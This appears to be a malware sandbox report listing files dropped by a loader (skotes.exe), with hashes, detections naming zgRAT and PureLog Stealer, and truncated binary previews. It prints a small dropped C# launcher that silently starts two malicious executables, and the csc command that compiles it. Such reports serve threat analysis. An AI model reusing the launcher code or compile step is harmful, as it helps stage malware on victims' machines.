SHA-512:	A648636CFD82DBE850700F54E32BAD3F4A65B61FFCDF20B04709275BD73E032B951BFFAE1F2CB4CE44BAA303A78251D0580A29F32980A8E489A0629C261DC350
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...81`g.............................'... ...@....@.. ....................................@.................................l'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..D.............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings.... .......#US.........#GUID...$... ...#Blob...........WU........%3................................................................

C:\Users\user\AppData\Local\Temp\1016093001\CSCF52E109CF7C34EE59E7558C84C69E5BD.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	4.494920373038941
Encrypted:	false
SSDEEP:	24:WpxjkuZhNAPAtQPPAiPNnqNdt4+lEbNFjMyi07:yuulAotQPouqTSfbNtme
MD5:	2C6282AC30F91DBDBB53FC418E2D7C42
SHA1:	6524F4E8D06F30BBD5C609EBDD5D927E35890BDB
SHA-256:	4B4577541FBABA472334FF95818FF465537E523FA5CB1094C594981DCD1D54FD
SHA-512:	338B39359A8398A4606063BD4FB5F5C78943EF44EF848603B4B6DCA86A6E3D94A8592D1382CC315D08797FD69CDBC136937C257EF3868CCF12E47285D9E94055
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................T...<...............0...........T.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...@.....I.n.t.e.r.n.a.l.N.a.m.e...3.7.6.a.8.8.4.3.9.2...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...H.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.7.6.a.8.8.4.3.9.2...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <security>.. <requestedPrivileges xmlns="u

C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9644176587265245
Encrypted:	false
SSDEEP:	48:6B2Vt2RYo8sasFJ7cV4MKe2/yd1VvqBHvuulgxQnKqXSfbNtm:xLVx97jVvkBqxQnSzNt
MD5:	B5BFE8C3C0C05EA3AD5F7A52F11BE8D2
SHA1:	BB4266F298B58A5739DC1488CC585B94E1E1DC9E
SHA-256:	3CD0CA0EAACF6A3764F1B13ECB305AA219CAB9774C9ACF791AF86E54EF55A31E
SHA-512:	410E57821B5E417B110D83C6EA42123F3AE7FC873918A2A5516661BC80A5EC90D5FE3C98AE9229A7E10C2EB03FF55313C1906CE2ECE020B8DDDD11DCE839D792
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;1`g.............................'... ...@....@.. ....................................@.................................l'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..D.............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings.... .......#US.........#GUID...$... ...#Blob...........WU........%3................................................................

C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe (copy)

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9644176587265245
Encrypted:	false
SSDEEP:	48:6B2Vt2RYo8sasFJ7cV4MKe2/yd1VvqBHvuulgxQnKqXSfbNtm:xLVx97jVvkBqxQnSzNt
MD5:	B5BFE8C3C0C05EA3AD5F7A52F11BE8D2
SHA1:	BB4266F298B58A5739DC1488CC585B94E1E1DC9E
SHA-256:	3CD0CA0EAACF6A3764F1B13ECB305AA219CAB9774C9ACF791AF86E54EF55A31E
SHA-512:	410E57821B5E417B110D83C6EA42123F3AE7FC873918A2A5516661BC80A5EC90D5FE3C98AE9229A7E10C2EB03FF55313C1906CE2ECE020B8DDDD11DCE839D792
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;1`g.............................'... ...@....@.. ....................................@.................................l'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..D.............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings.... .......#US.........#GUID...$... ...#Blob...........WU........%3................................................................

C:\Users\user\AppData\Local\Temp\1016094001\CSCBC27F4A5D6E544C999D1D8F55EBB7E2B.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	4.491212299115324
Encrypted:	false
SSDEEP:	24:WpxjkuZhNOnxQnn2PNnqNdt4+lEbNFjMyi07:yuulgxQnKqTSfbNtme
MD5:	17FC474BDE1AD96C428331359B7D93A1
SHA1:	552B499DCE1866308CC961258CC95A0E2FB69AFB
SHA-256:	A56FC83413962709891A6A84306A89B1F0282024670D7104045DCA5585954E34
SHA-512:	EF20E352359D524904E58EE6DF3D2CD98D170918F02038B8B8201335CDE7C7EBF374447CBEF92F03D8BE93B1F292813C9BC25706A87D9E181D4B12735A92D1D7
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................T...<...............0...........T.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...@.....I.n.t.e.r.n.a.l.N.a.m.e...9.1.a.3.3.5.7.5.5.5...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...H.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...9.1.a.3.3.5.7.5.5.5...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <security>.. <requestedPrivileges xmlns="u

C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	969728
Entropy (8bit):	6.70205615785768
Encrypted:	false
SSDEEP:	24576:JqDEvCTbMWu7rQYlBQcBiT6rprG8auLw3:JTvC/MTQYxsWR7auL
MD5:	F0367D03A91E16273B989532829233A6
SHA1:	5E3D39961EE6C60C363FFB816A04C2C9ED3D9D56
SHA-256:	ED43A22ED526BD0AF54D4D28694C7279BB459A3F54F51C557A256869569F71BA
SHA-512:	7DD0FDFDE32B543CB3B72757562E9A68FBB5ADDE2C9A38960C575C15675BCC55249E21C17DBA0EBC947E0A0782833272154AF2908C06D24923293A89A0A8E021
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...C.`g..........".................w.............@..........................0............@...@.......@.....................d...\|....@...a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2850304
Entropy (8bit):	6.464239580597987
Encrypted:	false
SSDEEP:	49152:a49nDUpAJpRxCU4gP+YMfpQGrnZbsmrA6GpqigaYEE9:a4d+6pRxn4gG7fpdrnZbsmkHq7
MD5:	EAD473718663D9F85A4D487F8343BF82
SHA1:	AA74F6C6B613BD5C7ED244F37DFA5CEDE287B8EF
SHA-256:	D15E8974D60859D550B2A5C20EA3644B4ED82A38644EC509D469BFB86EA95B9C
SHA-512:	4FD45893B47A48256AF55C1D8FC1966138E97205888B723049B88060B4463A7B49B5694D254C54AF525B84266B000DB07E9905B0F30C98726E98F439B793CF4A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,.....).,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...hwkjnpms. +.......+..:..............@...hgincagx. ....+......X+.............@....taggant.@....+.."...\+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016097001\ffce2e0a66.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1016098001\76b7b2c16d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016099001\9e7ab8eefc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4469760
Entropy (8bit):	7.986007634049446
Encrypted:	false
SSDEEP:	98304:DpdksNkMGgDGafh72v6E4PRLCg0n+fF8nm0yRD:MsWAqwhivl4PhCZiFm
MD5:	052A4ED490C350BAC29E342970146793
SHA1:	B1CA7951818CCE6A457206A76F2AC5D4F398C91A
SHA-256:	D0FB76445B064C723AD7EABB0E21C9F3A7265813B9C7F5BA14F6E9185359FB74
SHA-512:	4725951D0BB2B483472C4880C63E54D10E5512BCF2B82152E6129332861C7BA3E597B92765AD3BF350338A660B329A95F3A7AB47FD1B9ACFE924C25C182E209B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L]g...............(..K..dq..2............K...@..................................vD...@... ............................._.n.s.....n.....................0e...............................d...................................................... . ..n......@(.................@....rsrc.........n......P(.............@....idata ......n......R(.............@... ..8...n......T(.............@...slztyuaa.............V(.............@...okprrvvq.....p........D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.0.cs

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.1910821432631735
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLyOfiFkMSf+eBLyprSiFkD:JNVQIbSfh+qiFkMSfh+pDFkD
MD5:	1726338D031D096951DF2B8C34544756
SHA1:	B3D7266CD50913357EF634168618DF259F78E830
SHA-256:	A7F818DA809A501A8AE74EDFEC7CD740DC14BFD736961D26CC154CE6D7372B96
SHA-512:	E37CEBB3DDCAFAEEEAB74D917EBBEEE406024CE974666354DD1B8AB3B3B6B14217612B4BD13AD814992F892F91AAF24BFAAAA2D84FC89E8B0CEC1350597D8F84
Malicious:	false
Reputation:	unknown
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.cmdline

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	5.236582550957273
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRPCHhJ23fczL9d9BzxsjGZxWE8oCHhJ23fm4xn:Hu7L//TRBqcQDek
MD5:	13E6D8015EEAEDCB9D817314877E4727
SHA1:	E025596A3040A74BD23C75A05D145F6DEA1F73A9
SHA-256:	D1CF15A85DBC817759E11F00053C1ED2BD815F646D335DD65472A25966AEC38B
SHA-512:	4BA47E5730975D0A2C0A3E1083F8DC4D5DA01E1240FA7A0578770F342EABD81CBA5F4B884AE398732180188E659F41488261F6C3DF0B3398F8E2987C135D3B49
Malicious:	false
Reputation:	unknown
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.0.cs"

C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.out

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (347), with CRLF, CR line terminators
Category:	modified
Size (bytes):	768
Entropy (8bit):	5.311054232417466
Encrypted:	false
SSDEEP:	12:lzMI/u7L//TRBqcQDexKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:WI/un/VBqtDexKax5DqBVKVrdFAMBJTH
MD5:	347302B0DCE72E9022130E921EFA52AF
SHA1:	823EC4D36BABD523C7FDEDBFD9541C60DB516226
SHA-256:	BCC1149E1077ED5E9F903F78735785839EC1243326D3848C0B2D479A9807503E
SHA-512:	7FEE40A2B7E2BD4234CCE266F2E9943E3B1560660B485DD80797953A2CA524A29AF0746D583375AD9D1D93A0A6BEBAE204A31B4E1D3D8F31285A62D8A5A68609
Malicious:	false
Reputation:	unknown
Preview:	.C:\Bridgecontainerserver> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\4QJA2bsrNd

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4Y9Ryym1ei

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5h6Z2dBkVD

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7d83041c2ad589

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	ASCII text, with very long lines (478), with no line terminators
Category:	dropped
Size (bytes):	478
Entropy (8bit):	5.806720279488719
Encrypted:	false
SSDEEP:	12:ZvRtBlEs98fr2jsT48bUAn/94NJamxOiOHzMIqSE1OI2xyBNLr:ZvRt7mj1TPbUAn/eNFOiOTMN6Iey3
MD5:	8F32FE1E94370EF61F30C253AF582B85
SHA1:	B1FDE28E95BCFA2AF684FA89966CA9EB6DFCF299
SHA-256:	469649FC13CBB97566E0534370FB1B383494F136E3F3E6E21135B2315C992227
SHA-512:	E778D3C08583E08B1978F713C331D0B38FE7728503F8407FD4D64C46C70284D0E29850F2E5310BD27F1FAD4FC8CDBA2B600EB426E0840195921908AF9CFC0593
Malicious:	false
Reputation:	unknown
Preview:	v0kjWpwRE4n5m6lpTfGmkShgqrsGnGs6qMlg63C4ShjuyetDCmY74c2dTE2o6pn8LqOaVEtZdMTCswrL7pEArvBNTIN1BX8m4ljIQTr739esIzuhWqrQkmQZoAHN11YFNrIHNj5o7HHsRTEdXpfUprCRUJdPLeFBkYebrnUwvCTdeiIV5n0LVDZgo0wDGpcdBFH3ynwtVtjnYjxwBHUin4ph88x01QqFk0bZaOhS0G0mewIFD9C9V4zHZk5z052EDeDhHYWwjBrgDDDL0rx1OqupAU9zTsc4Owj9tk8pnPZTMSEWht8IIAzWtXhxYgd1jwSQdDbQtIO9RacrQmSjtTwO6NQWCLQGwhtZAx2eRsZ9v0ES4zhwO3IPADTQxFNi1HMurDqctyRA4wcGI7cNne22ZdZ7dmqMf1IonTl1IECZlHVNlNH0nA4XOTVNnt8HHFfDoyczVkEjbcQRIMWQe0je7uZT8Y

C:\Users\user\AppData\Local\Temp\EXVX6dH0Qi

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GCPU1MQ2Z7D5AGIRNVCF0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	884736
Entropy (8bit):	5.04053322075493
Encrypted:	false
SSDEEP:	12288:6XuZ9mkl4ENjtjixpYKobVKA09KmWxqE0mp:auZ9nHjUpYKoJpmWxqi
MD5:	5FB4C4C4C3811673E0BA41D513EA7E23
SHA1:	A19D398438DA91CEDCD0659EB5602F6580B928C9
SHA-256:	B79EEE061B15ED3E792133B862B101A54B0D82F78758DAB3FFEED3372BADF9CB
SHA-512:	87D723216CBFC4B0AF7D6FB407ED6189378596FB48FECFBA642A94ED864CC480E90C61078C5C6E9F82DE3001EE4BE2A29BF518E218438B8706E4689ACF611DC3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,.....).,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...hwkjnpms. +.......+..:..............@...hgincagx. ....+......X+.............@....taggant.@....+.."...\+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HWGF3Sjmnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774723
Encrypted:	false
SSDEEP:	3:ruAolOBT6r6n:qNlO0r6n
MD5:	9DB9C683A2507A8A373A8D6F9C341AAC
SHA1:	1FC5F3B9852DF0C688090E07F5F499E1329B4142
SHA-256:	160DDB3C5143ED8A4EBA9A73F3104283B040D1CA549FBA024BF971A75908FC60
SHA-512:	4964837D50CE7956C372C187D0064E00DD97C6C64006041037873BADA87F3928F55DD78FACE8ADD26BACA39313C0BDDC7FCD0B630F2DF98B1D970D6BBC5E7B3B
Malicious:	false
Reputation:	unknown
Preview:	ekwCRIeMBJEM8GxFd6uJCyWc5

C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1961984
Entropy (8bit):	7.5540495070760905
Encrypted:	false
SSDEEP:	49152:4hKLUy2ich2Y+jCRZCH77sVccM50sF/CwsuVo:4hKPFch2YHgbucc00Odo
MD5:	0F91548CA49C64D6A8CD3846854F484C
SHA1:	033C309B683020221AE189C4236A70C0D3DDD568
SHA-256:	A7883947A5F3C0D74F3EAC6C2A6DA45555298D769F5E3137E10A3ECE14E83DFD
SHA-512:	E207B5545CEED034EC22F13E1A36F13656721B2C9CAB97F6EC7BA8195F32DDC1673E1334902B2D4FC0CE393BAF7F806BEDF4A03A26A8FFE79AD17A87CF9A90A2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._g................................. ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H...........,...............&...........................................0..........(.... ........8........E....9...............84...(.... ....8....(.... ....~....{g...9....& ....8....(.... ....~....{....:....& ....8........0..<....... ........8........E....i...........u...).......U...8d...8j... ....~....{....:....& ....8........~....(@...~....(D... ....<.... ....8....~....9.... ....8v...r...ps....z8.... ....~....{....9Q...& ....8F...~....(8... .... .... ....s....~....(<...

C:\Users\user\AppData\Local\Temp\Ps1fNZlTBN

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
